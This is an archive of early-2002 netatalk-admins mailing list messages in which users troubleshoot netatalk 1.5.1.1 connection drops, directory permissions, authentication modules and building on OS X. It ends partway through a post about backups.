Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2002-02-12 23:32 +0100, Markus Koch wrote:

> One of my servers (PII400/440BX/Intel EtherexpressPro or Realtek and SCSI on
> board / 2.4.16) suddenly drops all connections to it (appletalk and samba).
> The server is not even reachable by pings.

do you have log entries similar to those below:

>> servername afpd[1767]: dsi_stream_send: Connection reset by peer
>> servername afpd[1767]: afp_read: Connection reset by peer
>> servername afpd[1767]: [1767]: dsi_stream_write: Broken pipe
>> servername netatalk(pam_unix)[1767]: session closed for user username

If so, you might want to recompile with "sendfile_flavor_linux" disabled:
run ./configure [options_to_your_liking], then edit config.h.

Replace the line
#define SENFILE_FLAVOUR_LINUX 1

by
/# *undef SENFILE_FLAVOUR_LINUX */

-Thomas

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Wed Feb 13 19:37:50 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA27357
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Feb 2002 19:37:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA15907
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Feb 2002 19:37:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA15889
	for netatalk.administrators-members@umich.edu; Wed, 13 Feb 2002 19:37:49 -0500 (EST)
Received: from media.umbc.edu (media.umbc.edu [130.85.179.78])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA15850
	for <netatalk-admins@umich.edu>; Wed, 13 Feb 2002 19:37:48 -0500 (EST)
Received: (from ray@localhost)
	by media.umbc.edu (8.9.3/8.9.3/Debian 8.9.3-21) id TAA01784
	for netatalk-admins@umich.edu; Wed, 13 Feb 2002 19:37:47 -0500
From: Ray Shaw <ray@media.umbc.edu>
Date: Wed, 13 Feb 2002 19:37:47 -0500
To: netatalk-admins@umich.edu
Subject: Directories are created with...unexpected permissions
Message-ID: <20020213193747.A1335@media.umbc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i


In the hopes of working around Quark (I think you know what I mean), I
recently updated our server to netatalk 1.5.1.1 (it was running an old
asun version).  In this respect, things seem to be much better now.

However, I'm having a problem with directory creation.  All of the
directories on the shared bit of the server are mode 2770.  IIRC,
netatalk previously created directories beneath these with the same
permissions.  This is still what happens if I create directories from
the command line.

But if I create directories (using the same account) with
netatalk, they are mode 0770, meaning that files or directories inside
them don't inherit the correct group, and creating access problems
(like the production assistants unable to get at directories created
by the Photo Editor).

Have other people run into this problem?  Is there a good solution?
I'm running Debian Potato, and compiled netatalk 1.5.1.1 with the
following options:

./configure --enable-fhs --enable-timelord --enable-lastdid
--with-flock-locks --with-tcp-wrappers

Thanks,


-- 
--Ray

-----------------------------
Sotto la panca la capra crepa
sopra la panca la capra campa

From netatalk.administrators-errors@umich.edu  Thu Feb 14 03:55:51 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id DAA16875
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 03:55:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA19081
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 03:55:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA19077
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 03:55:50 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA19063
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 03:55:49 -0500 (EST)
Received: from [192.168.0.174] (t24.local [192.168.0.174])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1E8tfi17560;
	Thu, 14 Feb 2002 00:55:42 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 14 Feb 2002 00:55:42 -0800
Subject: Re: logging in
From: Steve Freitas <sflist@ihonk.com>
To: Ken Gillett <keng@btinternet.com>,
        Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B890BB8D.B2BE%sflist@ihonk.com>
In-Reply-To: <p0510031fb8907a91e6ae@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Please post the pertinent line from afpd.conf, as well as an "ls -l" of your
uams directory (etc/netatalk/uams). And what kind of client is trying to
login?

> I specified '--with-pam=/etc/pam.d' and '--with-shadow' when I ran
> configure

You shouldn't have to specify any of this, as the configure step takes care
of it.

> and I have the guest, cleartxt (linked to pam) and also a
> new passwd uam. They are listed in netatalk.conf and nowhere else
> (not changed from before).

If you're using .passwd files, then afpd.conf should specify uams_passwd.so.
If you want users to authenticate against your /etc/shadow file, then you
should specify uams_dhx.so.

> I also specified '--disable-ddp', but I can't see that as the problem.

This just eliminates DDP advertisements. You're correct that it will have no
effect.

Steve


From netatalk.administrators-errors@umich.edu  Thu Feb 14 06:34:43 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA22493
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 06:34:43 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA05817
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 06:34:43 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA05811
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 06:34:42 -0500 (EST)
Received: from webserv2.absolute-net.com (webserv2.absolute-net.com [12.47.77.3])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA05798
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 06:34:41 -0500 (EST)
Received: from [12.47.77.166] (modem67.absolute-net.com [12.47.77.166])
	by webserv2.absolute-net.com (8.11.3/8.11.3) with ESMTP id g1EBYwm98159
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 06:34:59 -0500 (EST)
	(envelope-from rcassin@supernova.org)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 14 Feb 2002 06:34:12 -0500
Subject: OS X
From: Ryan Cassin <rcassin@supernova.org>
To: <netatalk-admins@umich.edu>
Message-ID: <B8910AE3.4575%rcassin@supernova.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi all,

Quick question: does netatalk build on OS X, and if it does how can I build
it? I was looking through the archives of this mailing list only to find a
lot of discussion about why netatalk might be necessary on OS X, no real
instructions.

I want to use netatalk on OS X because I need to run some OS X applications,
but want to have more than 10 clients connect to me using appleshare. Unless
I buy the full-blown OS X Server, I'm limited to only 10 connections at
once.

Thanks in advance.

-- 
Ryan Cassin
rcassin@supernova.org


From netatalk.administrators-errors@umich.edu  Thu Feb 14 08:57:35 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA27520
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 08:57:35 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA21365
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 08:57:35 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA21350
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 08:57:35 -0500 (EST)
Received: from samplezone.ch ([212.55.202.142])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA21304
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 08:57:33 -0500 (EST)
Date: Thu, 14 Feb 2002 14:57:28 +0100
Message-Id: <200202141457.AA40109638@samplezone.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "Rolf Schoepfer" <rolf@samplezone.ch>
Reply-To: <rolf@samplezone.ch>
To: <netatalk-admins@umich.edu>
Subject: Re: logging in
X-Mailer: <IMail v7.05>

Hello Ken

I have the same problem posted a few days ago. Unfortunately I didn't solve the problem so far. If you get any good advice, I'll be very interested. Here is what I have posted:

I compiled netatalk 1.5.1.1 under Linux ( no distribution: www.linuxfromscratch.com ). Compiling was done as follow: 

./configure --with-shadow --sysconfdir=/etc/config --with-flock-locks --mandir=/usr/share/man/ --infodir=/usr/share/info/ --with-ssl-dir=/usr/lib/openssl/ 

It all succeeded. Starting atalkd and aftp, looks like: 

Feb  9 17:09:05 www afpd[18859]: TestDrive:AFPServer@* started on 65280.34:128 (1.5.1.1) 
Feb  9 17:09:05 www afpd[18859]: ASIP started on 10.10.10.197:548(2) (1.5.1.1) 
Feb  9 17:09:05 www afpd[18859]: uam: loading (/etc/config/netatalk/uams/uams_guest.so) 
Feb  9 17:09:05 www afpd[18859]: uam: uams_guest.so loaded 
Feb  9 17:09:05 www afpd[18859]: uam: loading (/etc/config/netatalk/uams/uams_dhx.so) 
Feb  9 17:09:05 www afpd[18859]: uam: uams_dhx.so loaded 
Feb  9 17:09:05 www afpd[18859]: uam: "DHCAST128" available 
Feb  9 17:09:05 www afpd[18859]: uam: "No User Authent" available 

Seems to be correct. Afpd was configured like: 

"TestDrive" -loginmesg "Welcome" -transall -uamlist uams_guest.so,uams_dhx.so -nosavepassword 

Login with Mac 9.2 
================== 

OK 
- TestDrive in Chooser is visible 
- Guest login successfully 

NOK 
- Login with Linuxuser returns "wrong password" on mac 
- under /var/log/sys.log is no error or warning message 

I was reading all doc-files in netatalk-tarball and searched the internet, but didn't get out the solution. How can I solve this problem? 
Netatalk has many ways of authentication, but it's not easy to understand which part is involved. For example shadow password: do all uams ( except guest ) use it? 

Any help is appreciated 

Regards, Rolf Schoepfer

---------- Original Message ----------------------------------
From: Ken Gillett <keng@BTInternet.com>
Date:  Wed, 13 Feb 2002 20:31:39 +0000

>I've just replaced my previous (mandrake) 1.5.1.1 rpm with my own 
>compiled version as I wanted to incorporate SLP registration. But...
>
>I can no longer log in as anything other than guest. Everything I try 
>says the password is incorrect.
>
>I specified '--with-pam=/etc/pam.d' and '--with-shadow' when I ran 
>configure and I have the guest, cleartxt (linked to pam) and also a 
>new passwd uam. They are listed in netatalk.conf and nowhere else 
>(not changed from before).
>
>I also specified '--disable-ddp', but I can't see that as the problem.
>
>My guess is it's something to do with differences to the uams for my 
>compile from the mandrake rpm, but can someone give me a clue as to 
>what the problem is? I'd really appreciate it.
>
>Thanks.
>
>BTW, the auto SLP registration works fine:-)
>-- 
>
>
>
>Ken  G i l l e t t
>
>_/_/_/_/_/_/_/_/_/
>
>

From netatalk.administrators-errors@umich.edu  Thu Feb 14 10:25:18 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA01867
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 10:25:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA18546
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 10:25:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA18524
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 10:25:17 -0500 (EST)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA18495
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 10:25:15 -0500 (EST)
Received: from smtp-relay01.mac.com (server-source-si02 [10.13.10.6])
	by smtpout.mac.com (8.12.1/8.10.2/1.0) with ESMTP id g1EFPF3k016841
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 07:25:15 -0800 (PST)
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GRJ46200.K15 for
          <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 07:25:14 -0800 
Received: from dhcp4.makesys.com ([192.104.65.225]) by
          asmtp01.mac.com (Netscape Messaging Server 4.15 asmtp01 Jun 21
          2001 23:53:48) with ESMTP id GRJ46100.540 for
          <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 07:25:13 -0800 
Date: Thu, 14 Feb 2002 10:25:12 -0500
Subject: Re: OS X
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v480)
From: Eagle <eagle243@mac.com>
To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 7bit
In-Reply-To: <B8910AE3.4575%rcassin@supernova.org>
Message-Id: <09DB1419-215F-11D6-BE52-0050E4D07206@mac.com>
X-Mailer: Apple Mail (2.480)

Hi Ryan.

In my spare time, I'm working on porting macipgw to Mac OS X.  Part of 
this includes getting netatalk compiled on OS X.  I haven't tried the 
latter, because I've been studying the former, but will let you know on 
my progress if you like.

Eagle

On Thursday, February 14, 2002, at 06:34 , Ryan Cassin wrote:
> Hi all,
>
> Quick question: does netatalk build on OS X, and if it does how can I 
> build
> it? I was looking through the archives of this mailing list only to 
> find a
> lot of discussion about why netatalk might be necessary on OS X, no real
> instructions.
>
> I want to use netatalk on OS X because I need to run some OS X 
> applications,
> but want to have more than 10 clients connect to me using appleshare. 
> Unless
> I buy the full-blown OS X Server, I'm limited to only 10 connections at
> once.
>
> Thanks in advance.


From netatalk.administrators-errors@umich.edu  Thu Feb 14 10:45:14 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA02905
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 10:45:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA09729
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 10:45:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA09725
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 10:45:14 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id KAA09702
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 10:45:13 -0500 (EST)
Received: (qmail 20653 invoked by alias); 14 Feb 2002 15:42:55 -0000
Received: (qmail 20641 invoked from network); 14 Feb 2002 15:42:55 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 14 Feb 2002 15:42:55 -0000
Subject: Re: OS X
From: Matthew Keller <kellermg@potsdam.edu>
To: Ryan Cassin <rcassin@supernova.org>
Cc: netatalk-admins@umich.edu
In-Reply-To: <B8910AE3.4575%rcassin@supernova.org>
References: <B8910AE3.4575%rcassin@supernova.org>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.1 
Date: 14 Feb 2002 10:45:05 -0500
Message-Id: <1013701505.3023.28.camel@comp10574>
Mime-Version: 1.0


	In my very elementary trials w/ older versions of Netatalk, I have
gotten it to build but the UAMs wouldn't work, thus I couldn't
authenticate. I haven't tried very hard, however.

On Thu, 2002-02-14 at 06:34, Ryan Cassin wrote:
> Hi all,
> 
> Quick question: does netatalk build on OS X, and if it does how can I build
> it? I was looking through the archives of this mailing list only to find a
> lot of discussion about why netatalk might be necessary on OS X, no real
> instructions.
> 
> I want to use netatalk on OS X because I need to run some OS X applications,
> but want to have more than 10 clients connect to me using appleshare. Unless
> I buy the full-blown OS X Server, I'm limited to only 10 connections at
> once.
> 
> Thanks in advance.
> 
> -- 
> Ryan Cassin
> rcassin@supernova.org
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Feb 14 11:10:08 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA04001
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 11:10:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA07447
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 11:10:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA07432
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 11:10:07 -0500 (EST)
Received: from gadolinium.btinternet.com (gadolinium.btinternet.com [194.73.73.111])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA07407
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 11:10:06 -0500 (EST)
Received: from host213-1-190-185.btinternet.com ([213.1.190.185] helo=nexus.local.net)
	by gadolinium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16bOSS-00025c-00; Thu, 14 Feb 2002 16:10:04 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id QAA08656;
	Thu, 14 Feb 2002 16:00:59 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100325b8918a87df2f@[10.0.1.10]>
In-Reply-To: <B890BB8D.B2BE%sflist@ihonk.com>
References: <B890BB8D.B2BE%sflist@ihonk.com>
X-Mailer: Eudora for Macintosh!
Date: Thu, 14 Feb 2002 16:00:55 +0000
To: Steve Freitas <sflist@ihonk.com>,
        Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: logging in
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:55 am -0800 14/2/02, Steve Freitas wrote:
>Please post the pertinent line from afpd.conf


The following is from netatalk.conf:-

AFPD_UAMLIST="-U uams_clrtxt.so,uams_guest.so,uams_passwd.so"

afpd.conf says:-

     -uampath <path>  Use this path to look for User Authentication Modules.
#		       (default: /usr/lib/netatalk/uams)

This is NOT where make install put things. That uses 
/usr/local/etc/netatalk but I can see nowhere that specifies this. Is 
it possible afpd's not finding any uams.


>as well as an "ls -l" of your
>uams directory (etc/netatalk/uams).


This is /usr/local/etc/netatalk/uams

lrwxrwxrwx    1 root     root           11 Feb 13 18:34 
uams_clrtxt.so -> uams_pam.so
-rw-r--r--    1 root     root        21746 Feb 13 18:34 uams_guest.a
-rwxr-xr-x    1 root     root          787 Feb 13 18:34 uams_guest.la
-rwxr-xr-x    1 root     root        26084 Feb 13 18:34 uams_guest.so
-rw-r--r--    1 root     root        33318 Feb 13 18:34 uams_pam.a
-rwxr-xr-x    1 root     root          779 Feb 13 18:34 uams_pam.la
-rwxr-xr-x    1 root     root        37076 Feb 13 18:34 uams_pam.so
-rw-r--r--    1 root     root        26966 Feb 13 18:34 uams_passwd.a
-rwxr-xr-x    1 root     root          794 Feb 13 18:34 uams_passwd.la
-rwxr-xr-x    1 root     root        31234 Feb 13 18:34 uams_passwd.so



>And what kind of client is trying to
>login?


Mac, OS 9.2


>>  I specified '--with-pam=/etc/pam.d' and '--with-shadow' when I ran
>>  configure
>
>You shouldn't have to specify any of this, as the configure step takes care
>of it.


I thought that you needed to specify which uams you wanted to use 
(and other things) on the configure command line.


>>  and I have the guest, cleartxt (linked to pam) and also a
>>  new passwd uam. They are listed in netatalk.conf and nowhere else
>>  (not changed from before).
>
>If you're using .passwd files, then afpd.conf should specify uams_passwd.so.
>If you want users to authenticate against your /etc/shadow file, then you
>should specify uams_dhx.so.


As you can see, the dhx uams has not been compiled, which is odd 
since I specified to use /etc/shadow when running configure.

I am very unclear when the uams ought to be specified. There is an 
option to specify these in netatalk.conf and in afpd.conf. What is 
the significance of the 2 places and why also what about the 
configure command line? Why not compile them all and make them all 
available to be chosen at run time, in one of the above files.

I did find that I didn't get guest login if i didn't include that in 
the netatalk.conf uamlist, but I've not changed anything else since 
replacing the Mandrake rpm with my compiled version. It seems to me 
it could be related to paths since the source I used specifies 
different paths to Mandrake.
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Thu Feb 14 11:10:25 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA04050
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 11:10:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA01289
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 11:10:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA01269
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 11:10:24 -0500 (EST)
Received: from gadolinium.btinternet.com (gadolinium.btinternet.com [194.73.73.111])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA01238
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 11:10:23 -0500 (EST)
Received: from host213-1-190-185.btinternet.com ([213.1.190.185] helo=nexus.local.net)
	by gadolinium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16bOST-00025c-00; Thu, 14 Feb 2002 16:10:05 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id QAA08666;
	Thu, 14 Feb 2002 16:08:08 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100327b891902b3256@[10.0.1.10]>
In-Reply-To: <200202141457.AA40109638@samplezone.ch>
References: <200202141457.AA40109638@samplezone.ch>
X-Mailer: Eudora for Macintosh!
Date: Thu, 14 Feb 2002 16:08:06 +0000
To: <rolf@samplezone.ch>, <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: logging in
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I'm not running atalkd, just afp over tcp, but I seem to have the 
same problem. I think it's an authentication problem and independent 
of whether using tcp or ddp.

I agree it is difficult to figure what's going on with 
authentication. I've only just been told that shadow password auth 
requires the dhx uam. Where's that mentioned in the docs?

I saw your last post and tried to search for it, but there's no 
archive:-( I hoped you'd fixed it.

My guess is that it's down to our incorrect command line options for 
configure but there's little documentation for that.

Any result that I do achieve I'll definitely post to the list, if you 
do as well hopefully we'll crack it:-)


At 2:57 pm +0100 14/2/02, Rolf Schoepfer wrote:
>Hello Ken
>
>I have the same problem posted a few days ago. Unfortunately I 
>didn't solve the problem so far. If you get any good advice, I'll be 
>very interested. Here is what I have posted:
>
>I compiled netatalk 1.5.1.1 under Linux ( no distribution: 
>www.linuxfromscratch.com ). Compiling was done as follow:
>
>./configure --with-shadow --sysconfdir=/etc/config 
>--with-flock-locks --mandir=/usr/share/man/ 
>--infodir=/usr/share/info/ --with-ssl-dir=/usr/lib/openssl/
>
>It all succeeded. Starting atalkd and aftp, looks like:
>
>Feb  9 17:09:05 www afpd[18859]: TestDrive:AFPServer@* started on 
>65280.34:128 (1.5.1.1)
>Feb  9 17:09:05 www afpd[18859]: ASIP started on 10.10.10.197:548(2) (1.5.1.1)
>Feb  9 17:09:05 www afpd[18859]: uam: loading 
>(/etc/config/netatalk/uams/uams_guest.so)
>Feb  9 17:09:05 www afpd[18859]: uam: uams_guest.so loaded
>Feb  9 17:09:05 www afpd[18859]: uam: loading 
>(/etc/config/netatalk/uams/uams_dhx.so)
>Feb  9 17:09:05 www afpd[18859]: uam: uams_dhx.so loaded
>Feb  9 17:09:05 www afpd[18859]: uam: "DHCAST128" available
>Feb  9 17:09:05 www afpd[18859]: uam: "No User Authent" available
>
>Seems to be correct. Afpd was configured like:
>
>"TestDrive" -loginmesg "Welcome" -transall -uamlist 
>uams_guest.so,uams_dhx.so -nosavepassword
>
>Login with Mac 9.2
>==================
>
>OK
>- TestDrive in Chooser is visible
>- Guest login successfully
>
>NOK
>- Login with Linuxuser returns "wrong password" on mac
>- under /var/log/sys.log is no error or warning message
>
>I was reading all doc-files in netatalk-tarball and searched the 
>internet, but didn't get out the solution. How can I solve this 
>problem?
>Netatalk has many ways of authentication, but it's not easy to 
>understand which part is involved. For example shadow password: do 
>all uams ( except guest ) use it?
>
>Any help is appreciated
>
>Regards, Rolf Schoepfer
>
>---------- Original Message ----------------------------------
>From: Ken Gillett <keng@BTInternet.com>
>Date:  Wed, 13 Feb 2002 20:31:39 +0000
>
>>I've just replaced my previous (mandrake) 1.5.1.1 rpm with my own
>>compiled version as I wanted to incorporate SLP registration. But...
>>
>>I can no longer log in as anything other than guest. Everything I try
>>says the password is incorrect.
>>
>>I specified '--with-pam=/etc/pam.d' and '--with-shadow' when I ran
>>configure and I have the guest, cleartxt (linked to pam) and also a
>>new passwd uam. They are listed in netatalk.conf and nowhere else
>>(not changed from before).
>>
>>I also specified '--disable-ddp', but I can't see that as the problem.
>>
>>My guess is it's something to do with differences to the uams for my
>>compile from the mandrake rpm, but can someone give me a clue as to
>>what the problem is? I'd really appreciate it.
>>
>>Thanks.
>>
>>BTW, the auto SLP registration works fine:-)
>>--
>>
>>
>>
>>Ken  G i l l e t t
>>
>>_/_/_/_/_/_/_/_/_/
>>
>>

-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Thu Feb 14 11:32:08 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA05321
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 11:32:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA26584
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 11:32:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA26577
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 11:32:08 -0500 (EST)
Received: from st-hubbins.hbconcoctions.com (ptr-64-30-11-162.hbconcoctions.com [64.30.11.162] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA26455
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 11:32:03 -0500 (EST)
From: sth@hbconcoctions.com
Received: from ptr-64-30-11-194.hbconcoctions.com (ptr-64-30-11-194.hbconcoctions.com [64.30.11.194] (may be forged))
	by st-hubbins.hbconcoctions.com (8.9.3/8.9.3) with ESMTP id LAA24920
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 11:31:53 -0500
Date: Thu, 14 Feb 2002 11:31:53 -0500 (EST)
To: netatalk-admins@umich.edu
Subject: Re: Backing up a Netatalk share.
In-Reply-To: <p05100301b89064807c6c@[128.172.20.37]>
Message-ID: <Pine.LNX.4.10.10202141047210.23388-100000@st-hubbins.hbconcoctions.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


WARNING! LONG POST! (Sorry... -sth)

Robert,

tar (the *NIX tape archiver, which will write to files as well as tapes)
does a fine job of grabbing resource forks, so long as you tar the entire
share directory (which includes the .AppleDouble directory, where the
resource forks live). My backups like on a Linux server, so tar makes
sense, but it could be adapted for use in your environment, if Retrospect
is your backup method of choice.

I'll propose a mechanism in a sec, but first address "why not root doing
backups from the Retrospect server?":

1) Your Retrospect server would probably need to have a clear-text copy of
